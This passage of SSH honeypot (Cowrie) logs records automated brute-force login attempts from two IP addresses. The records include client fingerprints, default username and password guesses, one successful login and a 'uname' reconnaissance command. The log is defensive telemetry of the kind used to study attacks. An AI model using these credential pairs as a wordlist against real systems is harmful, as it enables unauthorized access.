0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:28.519828Z","src_ip":"193.151.144.93","session":"babf26157231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:29.022485Z","src_ip":"193.151.144.93","session":"babf26157231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:30.203571Z","src_ip":"193.151.144.93","session":"babf26157231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55106,"dst_ip":"10.17.0.5","dst_port":22,"session":"b795c810160d","protocol":"ssh","message":"New connection: 193.151.144.93:55106 (10.17.0.5:22) [session: b795c810160d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:34.070677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:34.076061Z","src_ip":"193.151.144.93","session":"b795c810160d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:34.244449Z","src_ip":"193.151.144.93","session":"b795c810160d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:34.751336Z","src_ip":"193.151.144.93","session":"b795c810160d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:35.922004Z","src_ip":"193.151.144.93","session":"b795c810160d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42946,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83b309e03a5","protocol":"ssh","message":"New connection: 103.173.227.57:42946 (10.17.0.5:22) [session: a83b309e03a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:37.014407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:37.019559Z","src_ip":"103.173.227.57","session":"a83b309e03a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:37.268477Z","src_ip":"103.173.227.57","session":"a83b309e03a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15021990","message":"login attempt [root/15021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:38.021050Z","src_ip":"103.173.227.57","session":"a83b309e03a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:39.273133Z","src_ip":"103.173.227.57","session":"a83b309e03a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55116,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92a2f696453","protocol":"ssh","message":"New connection: 193.151.144.93:55116 (10.17.0.5:22) [session: e92a2f696453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:39.527774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:39.534448Z","src_ip":"193.151.144.93","session":"e92a2f696453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:39.702559Z","src_ip":"193.151.144.93","session":"e92a2f696453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:40.207479Z","src_ip":"193.151.144.93","session":"e92a2f696453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:41.378753Z","src_ip":"193.151.144.93","session":"e92a2f696453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39010,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb30495d1c45","protocol":"ssh","message":"New connection: 193.151.144.93:39010 (10.17.0.5:22) [session: eb30495d1c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:44.937888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:44.943616Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:45.117395Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:45.616090Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:46.002115Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:46.006255Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:46.177287Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:46.183270Z","src_ip":"193.151.144.93","session":"eb30495d1c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35990,"dst_ip":"10.17.0.5","dst_port":22,"session":"d21104358da4","protocol":"ssh","message":"New connection: 193.151.144.93:35990 (10.17.0.5:22) [session: d21104358da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:50.220083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:50.226044Z","src_ip":"193.151.144.93","session":"d21104358da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:50.393054Z","src_ip":"193.151.144.93","session":"d21104358da4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:50.891457Z","src_ip":"193.151.144.93","session":"d21104358da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:53.720354Z","src_ip":"193.151.144.93","session":"d21104358da4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36004,"dst_ip":"10.17.0.5","dst_port":22,"session":"164397654218","protocol":"ssh","message":"New connection: 193.151.144.93:36004 (10.17.0.5:22) [session: 164397654218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:55.525539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:55.565275Z","src_ip":"193.151.144.93","session":"164397654218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:55.698971Z","src_ip":"193.151.144.93","session":"164397654218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:56.352183Z","src_ip":"193.151.144.93","session":"164397654218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:57.521599Z","src_ip":"193.151.144.93","session":"164397654218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b938e0db88c","protocol":"ssh","message":"New connection: 193.151.144.93:46360 (10.17.0.5:22) [session: 1b938e0db88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:01.106726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:01.114888Z","src_ip":"193.151.144.93","session":"1b938e0db88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:01.282980Z","src_ip":"193.151.144.93","session":"1b938e0db88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:01.784221Z","src_ip":"193.151.144.93","session":"1b938e0db88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:02.953055Z","src_ip":"193.151.144.93","session":"1b938e0db88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46366,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d841c7a991","protocol":"ssh","message":"New connection: 193.151.144.93:46366 (10.17.0.5:22) [session: e2d841c7a991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:06.612542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:06.618554Z","src_ip":"193.151.144.93","session":"e2d841c7a991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:06.794772Z","src_ip":"193.151.144.93","session":"e2d841c7a991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:17:07.315816Z","src_ip":"193.151.144.93","session":"e2d841c7a991","protocol":"ssh"}
